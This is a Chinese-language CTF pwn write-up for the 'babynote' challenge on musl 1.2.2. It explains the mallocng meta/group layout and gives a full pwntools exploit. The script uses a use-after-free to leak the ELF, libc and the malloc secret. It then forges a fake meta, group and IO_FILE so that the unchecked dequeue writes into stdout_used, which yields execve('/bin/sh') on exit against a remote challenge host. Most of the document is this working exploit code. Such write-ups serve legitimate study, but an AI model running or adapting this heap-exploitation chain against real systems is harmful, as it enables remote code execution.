标签 pwn 下的文章

前言

不算很复杂的musl堆题,但是用了musl 1.2.2。相比于musl 1.1.x中使用的以链表为主的类似dlmalloc的内存管理器,musl 1.2.2则采用了:malloc_context->meta_arena->meta->gropu (chunks)这样的多级结构,并且free掉的chunk有bitmap直接管理(而不是放入某些链表中)。但是meta依然存在无检查的unlink操作,所以大部分攻击的思路仍然是构造出fake meta,然后触发dequeue条件完成任意地址写一个指针。做到任意地址写之后的思路就比较多了:

  • 可以尝试写rop到栈上
  • 可以尝试伪造 fake stdout 并将指针写到 stdout_usedfake stdout 的头部可以写为"/bin/sh\x00"write指针写为 system 指针,这样当 exit() 时就会触发system("/bin/sh")调用
  • 可以参考别的博主写 _aexit() 中相关函数指针的方法

思路:

  • 堆风水+UAF把一个note构造到另一个note的note->content域下,find功能泄露出elf_base和初始堆地址(musl的初始堆地址在二进制文件的地址空间中)
  • 再用一种堆风水思路借助UAF构造fake note占用掉发生UAF的原note,构造指针进行任意地址泄露,重复该步骤两次分别泄露libc地址和__malloc+context中的secret(用于后序步骤伪造)
  • 同样借助UAF构造一个fake note,并从一个页对齐的位置顺序构造fake_arena | fake_meta | fake_group | fake_chunk | fake IO_FILE,fake note的next指向fake_chunk然后构造fake_metaprevnext使得freefake_note->next之后的unlinkfake IO_FILE的地址写入到stdout_user

    • 由于__IO_FILE中存在如下指针:size_t (*write)(FILE *, const unsigned char *, size_t);,只要控制好参数和指针就可以进行execve("/bin/sh", NULL, NULL)来getshell
    • 详细的实现细节可以参考[2]中的描述

Notice:

  1. 为了保证和远程环境最大程度相似,建议在调试前cp ./libc.so /usr/lib/x86_64-linux-musl/libc.so,如果怕覆盖掉本地的musl可以先mv备份
  2. 开启和关闭ASLR会导致某个常量发生变化,调试的时候记得手动修改一下(见注释)
  3. 为了方便调试,可以下载一份musl-1.2.2源码然后用dir ./musl-1.2.2/src/mallocdir ./musl-1.2.2/src/malloc/mallocng加载malloc相关的调试符号(在free的时候带源码调试可以很方便检查程序流卡在哪个assert)

EXP:

from pwn import *

context.log_level = "debug"
# 调试本地环境记得一定要拷贝到这个路径,用ld的启动方式vmmap会很tm怪!
# cp ./libc.so /usr/lib/x86_64-linux-musl/libc.so
p = process("./babynote")
p = remote("123.60.76.240", 60001)

def add(name, content, size=-1):
    p.sendlineafter(b"option: ", b"1")
    if size >= 0:
        p.sendlineafter(b"name size: ", str(size).encode())
    else:
        p.sendlineafter(b"name size: ", str(len(name)).encode())
    p.sendafter(b"name: ", name)
    p.sendlineafter(b"note size: ", str(len(content)).encode())
    p.sendafter(b"note content: ", content)
    
def find(name, size=-1):
    p.sendlineafter(b"option: ", b"2")
    if size >= 0:
        p.sendlineafter(b"name size: ", str(size).encode())
    else:
        p.sendlineafter(b"name size: ", str(len(name)).encode())
    p.sendafter(b"name: ", name)
    
def delete(name):
    p.sendlineafter(b"option: ", b"3")
    p.sendlineafter(b"name size: ", str(len(name)).encode())
    p.sendafter(b"name: ", name)
    
def forget():
    p.sendlineafter(b"option: ", b"4")
    
def exit():
    p.sendlineafter(b"option: ", b"5")

def exp():
    ## ------------ leak addr info ------------
    for i in range(3):
        add(bytes([0x41+i])*0xc, bytes([0x61+i])*0x28) # A-C
    for i in range(3):
        find(b"x"*0x28)
    forget()
    add(b"E"*0xc, b"e"*0x28) # E uaf
    # -- new group
    add(b"F"*0xc, b"f"*0x28) # F hold E
    delete(b"E"*0xc)
    add(b"eqqie", b"x"*0x38) # occupy
    
    find(b"E"*0xc)
    
    p.recvuntil(b"0x28:")
    leak_heap = 0
    leak_elf = 0
    for i in range(8):
        leak_heap += int(p.recv(2).decode(), 16) << (i*8)
    for i in range(8):
        leak_elf += int(p.recv(2).decode(), 16) << (i*8)
    elf_base = leak_elf - 0x4fc0
    heap_base = elf_base
    print("leak_heap:", hex(leak_heap))
    print("leak_elf:", hex(leak_elf))
    print("heap_base:", hex(heap_base))
    print("elf_base:", hex(elf_base))
    
    ## ------------ leak libc addr ------------
    read_got = elf_base+0x3fa8
    add(b"Y"*0xc, b"y"*0xc) # occupy
    forget() # fresh all
    add(b"A"*0x4, b"a"*0x4)
    add(b"B"*0x4, b"b"*0x4)
    delete(b"A"*0x4)
    for i in range(7):
        find(b"x"*0x28)
    fake_note = p64(heap_base+0x4cf0) + p64(read_got) # name('aaaa'), content(read@got)
    fake_note += p64(4) + p64(8) # name_size, content_size
    fake_note += p64(0) # next->null    
    add(b"C"*0x4, fake_note) # C occupy last chunk
    find(b"a"*4)
    p.recvuntil(b"0x8:")
    read_got = b""
    for i in range(8):
        read_got += p8(int(p.recv(2).decode(), 16))
    read_got = u64(read_got)
    print("read_got:", hex(read_got))
    libc_base = read_got - 0x74f10
    stdout_used = libc_base + 0xb43b0
    print("libc_base:", hex(libc_base))
    print("stdout_used:", hex(stdout_used))

    for i in range(7):
        add(b"y"*0x4, b"y"*0x4) # run out of chunks
    forget() # fresh all
    
    ## ------------ leak heap secret ------------
    new_heap = libc_base - 0xb5000
    print("new_heap:", hex(new_heap))
    heap_secret_ptr = libc_base + 0xb4ac0
    
    forget() # fresh all
    add(b"A"*0x4, b"a"*0x4)
    add(b"B"*0x4, b"b"*0x4)
    delete(b"A"*0x4)
    for i in range(7):
        find(b"x"*0x28)
    fake_note = p64(heap_base+0x4cb0) + p64(heap_secret_ptr) # name('aaaa'), content(heap_secret)
    fake_note += p64(4) + p64(8) # name_size, content_size
    fake_note += p64(0) # next->null    
    add(b"C"*0x4, fake_note) # C occupy last chunk
    find(b"a"*4)
    p.recvuntil(b"0x8:")
    heap_secret = b""
    for i in range(8):
        heap_secret += p8(int(p.recv(2).decode(), 16))
    print("heap_secret:", heap_secret)
    for i in range(7):
        add(b"y"*0x4, b"y"*0x4) # run out of chunks
    forget() # fresh all
    
    ## ------------ build fake_meta, fake_chunk ------------
    # 关ASLR打本地的时候记得改掉这个偏移
    new_heap2 = libc_base - 0x7000  # aslr_on&remote: 0x7000  aslr_off: 0xd000
    print("new_heap2:", hex(new_heap2))
    add(b"A"*0x4, b"a"*0x4) # A
    ### pointers
    system = libc_base + 0x50a90
    execve = libc_base + 0x4f9c0
    fake_area_addr = new_heap2 + 0x1000
    fake_meta_ptr = fake_area_addr + 0x20
    fake_group_ptr = fake_meta_ptr + 0x30
    fake_iofile_ptr = fake_group_ptr + 0x10
    fake_chunk_ptr = fake_iofile_ptr - 0x8
    print("system:", hex(system))
    print("fake_meta_ptr:", hex(fake_meta_ptr))
    print("fake_group_ptr:", hex(fake_group_ptr))
    print("fake_iofile_ptr:", hex(fake_iofile_ptr))
    ### fake arena
    fake_area = heap_secret + b"M" * 0x18
    ### fake group
    fake_group = p64(fake_meta_ptr)    
    ### fake iofile
    fake_iofile = p64(0) # chunk prefix: index 0, offset 0
    fake_iofile += b"/bin/sh\x00" + b'X' * 32 + p64(0xdeadbeef) + b'X' * 8 + p64(0xbeefdead) + p64(execve) + p64(execve)
    fake_iofile = fake_iofile.ljust(0x500, b"\x00")
    ### fake meta
    fake_meta = p64(fake_iofile_ptr) + p64(stdout_used) # prev, next
    fake_meta += p64(fake_group_ptr)
    fake_meta += p64((1 << 1)) + p64((20 << 6) | (1 << 5) | 1 | (0xfff << 12))
    fake_meta = fake_meta.ljust(0x30)
    ### final payload
    payload = b"z"*(0x1000-0x20)
    payload += fake_area + fake_meta + fake_group + fake_iofile
    payload = payload.ljust(0x2000, b"z")
    add(b"B"*0x4, payload) # check this
    
    delete(b"A"*0x4)
    for i in range(7):
        find(b"x"*0x28)
    ## ------------  build fake_note ------------
    fake_note = p64(heap_base+0x4960) + p64(fake_iofile_ptr) # name(d->content "dddd"), content(free it to unlink!!!)
    fake_note += p64(4) + p64(4) # name_size, content_size
    fake_note += p64(0) # next->null
    add(b"C"*0x4, fake_note) # C occupy last chunk
    add(b"D"*0x4, b"d"*4) # D
    #gdb.attach(p, "dir ./musl-1.2.2/src/malloc\ndir ./musl-1.2.2/src/malloc/mallocng\nb free")
    #pause()
    
    delete(b"d"*0x4)
    p.sendline(b"5")
    
    p.interactive()

if __name__ == "__main__":
    exp()

参考资料:

[1] https://www.anquanke.com/post/id/253566

[2] https://github.com/cscosu/ctf-writeups/tree/master/2021/def_con_quals/mooosl

[3] https://www.anquanke.com/post/id/241101#h2-5

[4] https://www.anquanke.com/post/id/241104

musl 1.2.2 版本的内存管理机制发生了特别大的变化,但是本题用到的所有知识网上都有公开可查的资料了